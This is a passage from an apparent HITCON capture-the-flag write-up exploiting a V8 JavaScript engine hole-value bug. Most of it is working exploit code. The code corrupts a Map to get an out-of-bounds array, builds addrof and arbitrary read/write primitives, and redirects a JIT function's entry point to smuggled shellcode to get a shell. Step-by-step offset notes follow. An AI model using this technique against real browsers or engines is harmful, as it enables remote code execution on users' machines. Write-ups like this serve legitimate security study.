        1.95606125582421466942709801013E-246,
        1.99957147195425773436923756715E-246,
        1.95337673326740932133292175341E-246,
        2.63486047652296056448306022844E-284];
}
for (let i = 0; i < 0x10000; i++) {foo();foo();foo();foo();}
var buf = new ArrayBuffer(8);
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);
function ftoi(val) {
    f64_buf[0] = val;
    return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n);
}
function itof(val) {
    u64_buf[0] = Number(val & 0xffffffffn);
    u64_buf[1] = Number(val >> 32n);
    return f64_buf[0];
}
var c = [];
m = new Map();
m.set(1, 1);
m.set(c.hole(), 1);
m.delete(c.hole());
m.delete(c.hole());
m.delete(1);
oob_arr = new Array(1.1, 2.2);
m.set(0x10, -1);
m.set(oob_arr, 0xffff);
victim = [{}, {}, {}, {}];
read_gadget = [1.1, 2.2, 3.3];
function addrof(in_obj) {
    mask = (1n << 32n) - 1n
    victim[0] = in_obj;
    return ftoi(oob_arr[12]) & mask;
}
function weak_read(addr) {
    oob_arr[37] = itof(0x600000000n+addr-0x8n);
    return ftoi(read_gadget[0]);
}
function weak_write(addr, value) {
    oob_arr[37] = itof(0x600000000n+addr-0x8n);
    read_gadget[0] = itof(value);
}
f_code = weak_read(addrof(foo)+0x18n) & ((1n << 32n) - 1n);
f_code_code_entry_point = weak_read(f_code+0xcn);
weak_write(f_code+0xcn, f_code_code_entry_point+124n);
foo();

What I do in the last step after creating these primitives are:

  • Get the foo->code stored pointer address by:
    • Do addrof of foo.
  • weak_read the address of foo->code which is equivalent to foo+0x18 (Offset found by examination in gdb).
    • Let’s call the fetched value as f_code
  • weak_read the value of f_code->code_entry_point which is equivalent to f_code+0xc.
    • Let’s call the fetched value as f_code_code_entry_point
  • weak_write the property f_code->code_entry_point which is equivalent to f_code+0xc by f_code_code_entry_point+shift_offset, where the shift_offset is the distance between the starting JIT code instructions and your smuggled shellcode.

Notes: The offset of the smuggled shellcode in the jitted area is different between ubuntu and debian. So, if you want to run this POC in ubuntu, you might need to adjust the offset to be added in our leaked f_code_code_entry_point value during the last call of weak_write.

And let’s try to execute this. We will get a shell!

Flag: hitcon{tH3_xPl01t_n0_l0ng3r_wOrk_aF+3r_66c8de2cdac10cad9e622ecededda411b44ac5b3_:((}

Social Media

Follow me on twitter